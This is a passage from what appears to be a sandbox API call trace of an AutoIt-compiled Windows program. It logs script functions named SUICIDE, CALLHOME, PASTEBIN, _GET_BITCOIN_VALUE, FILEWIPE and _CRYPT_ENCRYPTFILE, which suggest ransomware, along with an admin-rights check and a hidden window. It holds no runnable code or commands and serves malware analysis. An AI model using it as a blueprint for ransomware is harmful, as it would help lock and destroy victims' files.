cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0052.581] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0052.581] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0052.581] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0052.581] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0052.581] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0052.581] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.581] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.581] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0052.581] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0052.581] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0052.581] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0052.581] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0052.581] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0052.581] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0052.581] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0052.581] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0052.581] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0052.581] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0052.582] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0052.582] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0052.582] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0052.582] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0052.582] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0052.582] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0052.582] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0052.582] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0052.582] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0052.582] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0052.582] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0052.582] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0052.582] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0052.582] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0052.582] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0052.582] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0052.582] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0052.582] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0052.582] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0052.582] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0052.582] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0052.582] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0052.582] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0052.582] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0052.582] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0052.582] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0052.582] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0052.582] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0052.583] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0052.583] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0052.583] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0052.583] AllocateAndInitializeSid (in: pIdentifierAuthority=0x32af65fdf8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x32af65fe00 | out: pSid=0x32af65fe00) returned 1 [0052.583] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x32af830c40, IsMember=0x32af65fdf0 | out: IsMember=0x32af65fdf0) returned 1 [0052.583] GetSysColorBrush (nIndex=15) returned 0x1100074 [0052.583] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0052.583] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0x63) returned 0x200f1 [0052.584] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa4) returned 0x140215 [0052.584] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa2) returned 0xb020f [0052.584] LoadImageW (hInst=0x7ff756b50000, name=0x63, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x19020b [0052.584] RegisterClassExW (param_1=0x32af65fd90) returned 0xc11e [0052.584] GetSysColorBrush (nIndex=15) returned 0x1100074 [0052.585] RegisterClassExW (param_1=0x32af65fd00) returned 0xc13f [0052.585] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0052.585] InitCommonControlsEx (picce=0x32af65fd68) returned 1 [0052.585] ImageList_Create (cx=16, cy=16, flags=0x21, cInitial=1, cGrow=1) returned 0x32af6f1900 [0052.585] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa9) returned 0xd0205 [0052.586] ImageList_ReplaceIcon (himl=0x32af6f1900, i=-1, hicon=0xd0205) returned 0 [0052.586] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3", lpWindowName="AutoIt v3", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xc002c [0052.586] NtdllDefWindowProc_W (hWnd=0xc002c, Msg=0x24, wParam=0x0, lParam=0x32af65f7e0) returned 0x0 [0052.586] NtdllDefWindowProc_W (hWnd=0xc002c, Msg=0x81, wParam=0x0, lParam=0x32af65f790) returned 0x1 [0052.590] NtdllDefWindowProc_W (hWnd=0xc002c, Msg=0x83, wParam=0x0, lParam=0x32af65f800) returned 0x0 [0052.593] SetTimer (hWnd=0xc002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0052.593] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0052.593] CreatePopupMenu () returned 0x1c00bf [0052.593] CreateWindowExW (dwExStyle=0x0, lpClassName="edit", lpWindowName=0x0, dwStyle=0x50b008c4, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xc002c, hMenu=0x1, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xd018a [0052.600] NtdllDefWindowProc_W (hWnd=0xc002c, Msg=0x210, wParam=0x10001, lParam=0xd018a) returned 0x0 [0052.601] ShowWindow (hWnd=0xc002c, nCmdShow=0) returned 0 [0052.601] ShowWindow (hWnd=0xc002c, nCmdShow=0) returned 0 [0052.601] Shell_NotifyIconW (dwMessage=0x0, lpData=0x32af65fa10) returned 1 [0052.607] Shell_NotifyIconW (dwMessage=0x1, lpData=0x32af65f610) returned 1 [0052.608] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0052.608] TranslateMessage (lpMsg=0x32af65fc10) returned 0 [0052.608] DispatchMessageW (lpMsg=0x32af65fc10) returned 0x0 [0052.608] NtdllDefWindowProc_W (hWnd=0xc002c, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0052.608] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.608] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.608] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0052.608] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.608] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0052.608] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.608] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0052.608] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.609] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0052.609] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.609] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0052.609] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.609] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0052.609] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.609] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0052.609] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.609] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0052.609] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.609] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0052.609] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.609] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0052.609] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.610] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.610] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.610] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.610] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.610] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.610] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.610] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.611] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.611] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.611] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.611] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.612] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.612] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.612] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.612] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.612] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.612] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.612] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.612] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.612] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.613] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.613] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.613] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.613] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.613] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.613] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.613] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.613] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.613] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.614] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.614] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.614] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.614] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.614] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.614] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.614] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0052.614] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.614] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0052.614] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.614] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0052.614] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.615] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0052.615] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.615] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.615] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.615] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.615] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.615] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.615] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.615] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.615] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.616] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.616] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.616] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.616] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.616] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.616] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.616] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.616] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.616] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.616] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.617] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.617] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.617] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.617] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.617] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.617] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.617] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.617] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0052.617] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.617] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0052.617] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.617] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0052.618] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, 